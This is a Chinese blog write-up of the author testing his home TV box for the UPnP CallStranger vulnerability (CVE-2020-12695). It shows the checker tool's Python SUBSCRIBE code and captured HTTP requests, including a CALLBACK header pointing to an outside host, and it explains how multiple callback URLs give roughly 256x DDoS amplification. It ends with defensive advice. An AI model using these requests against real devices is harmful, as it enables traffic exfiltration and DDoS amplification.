一次对电视盒子的漏洞分析

时间:2022-07-23
本文章向大家介绍一次对电视盒子的漏洞分析,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

起因

周末正要使用前不久刚装上的电视盒子看剧,突然想到电视盒子也是需要网络的,于是就对电视盒子开始了测试之路。

上路

首先看一下ip地址,192.168.101.22

首先想到的是命令执行,经过一番操作发现并不存在,看来系统都是升级了的。

扫描端口发现49152端口打开,详细扫描发现是Upnp服务

突然想到了今年6月的UPnP协议漏洞CVE-2020-12695,UPnP 2020-04-17之前版本中存在安全漏洞。攻击者可借助SUBSCRIBE功能利用该漏洞将流量发送到任意位置,导致拒绝服务或数据泄露。UPnP全称为Universal Plug and Play,即通用即插即用,UPnP允许各种网络设备在没有任何特殊设置或配置的情况下进行通信,使设备彼此可自动连接和协同工作。在UPnP协议规范中有一个非常重要的功能模块,叫做事件(Eventing)。在UPnP服务进行的时间内,只要设备用于UPnP服务的变量值发生变化或者模式发生了改变,就会产生一个事件,随之向整个网络进行广播。或者用户可以事先向UPnP设备发送订阅请求,保证UPnP设备及时地将事件传送过来。

关于UPnP的NT与CALLBACK订阅模块有如下格式:

CALLBACK的值一般为回调地址的URL。NT取upnp:event表示订阅事件。

UPnP协议规范文档中提到:CALLBACK是必填区域,所填信息为发送事件信息的URL。一般情况下为UPnP供应商指定。如果其中定义了不止一个URL,设备会按顺序尝试连接,直到有一个连接成功。每个URL一般为HTTP协议(即前缀为”http://”)。

验证工具:https://github.com/yunuscadirci/CallStranger

解压后进入CallStranger目录

安装工具python3 setup.py install

安装完之后接下来开始利用:

利用之前先看一下这个工具的部分代码:

def subscribe(URL,callbackURL):
    myheaders = {
    'User-Agent':'Callstranger Vulnerability Checker',
    'CALLBACK': '<'+callbackURL+'>',
    'NT': 'upnp:event',
    'TIMEOUT': 'Second-300'} 
    #print(URL,callbackURL,'sending')
    req = requests.request('SUBSCRIBE', URL,headers=myheaders)
    if req.status_code==200:
        print(colored('Subscribe to '+URL+' seems successfull','green'))
        print(req.headers)
        print(req.text)
    else:
        print(colored('Subscribe to '+URL+' failed with status code:'+str(req.status_code),'red'))
        print(req.headers)
        print(req.text)

首先对目标进行subscribe订阅请求,并从header里加入一个CALLBACK的值来进行回调,CALLBACK的值为指定的url,如果订阅成功就会返回200,表示订阅成功,很可能存在漏洞。

对当前网络进行扫描和测试:python3 CallStranger.py

找到了三个Upnp设备:华为路由器、客厅盒子、客厅极光TV

如下图,扫描利用完毕,标记为红色的是确定有漏洞的,标记为黄色的是疑似的。

接下来我们通过流量分析来看看具体干了哪些事情。

如下图,首先回调的设备需要一个自己的session

然后通过将获得的session值加入到token里再次put请求得到一组key值

PUT /CallStranger.php?c=getservices&token=xxx HTTP/1.1
Host: 20.42.105.45
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0

然后再将获取到的token和key值加入到SUBSCRIBE请求的回调值里进行请求:

SUBSCRIBE /_urn:schemas-upnp-org:service:AVTransport_event HTTP/1.1
Host: 192.168.101.22:49152
User-Agent: Callstranger Vulnerability Checker
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
CALLBACK: <http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABfH-vGuHsXhAuU73sw.........=&token=........>
NT: upnp:event
TIMEOUT: Second-300
Content-Length: 0

服务器返回200表示回调的值可以被利用,存在此漏洞,由于CALLBACK并不限定数量,如果回调值里加入多个url,可造成Ddos攻击,Upnp的官方文档里也给出了说明:

每个回调值向回调值指定的主机发送107个SYN包。在107个SYN包之后,它尝试

连接下一个值。这意味着每25字节就有10760字节的TCP SYN流量。我们可以计算一下放大的倍数:10760/25=256,也就是说1个回调值放大256倍,如果采用多个回调值可进行无限放大。

如果返回412,说明回调值不可利用,不存在此漏洞,前面的扫描结果也说明了这一点。

总结

总的来说,回调值如果被利用了后果还是挺严重的,如果没有必要,最好关闭UPnP端口。看来电视盒子定期也要更新系统啊,否则为什么定期弹窗让升级系统呢?在最新更新的UPnP协议规范中,可以看出开发者限制了订阅事件的源IP和目标IP都必须在内网中,这从一定程度上修复了该漏洞。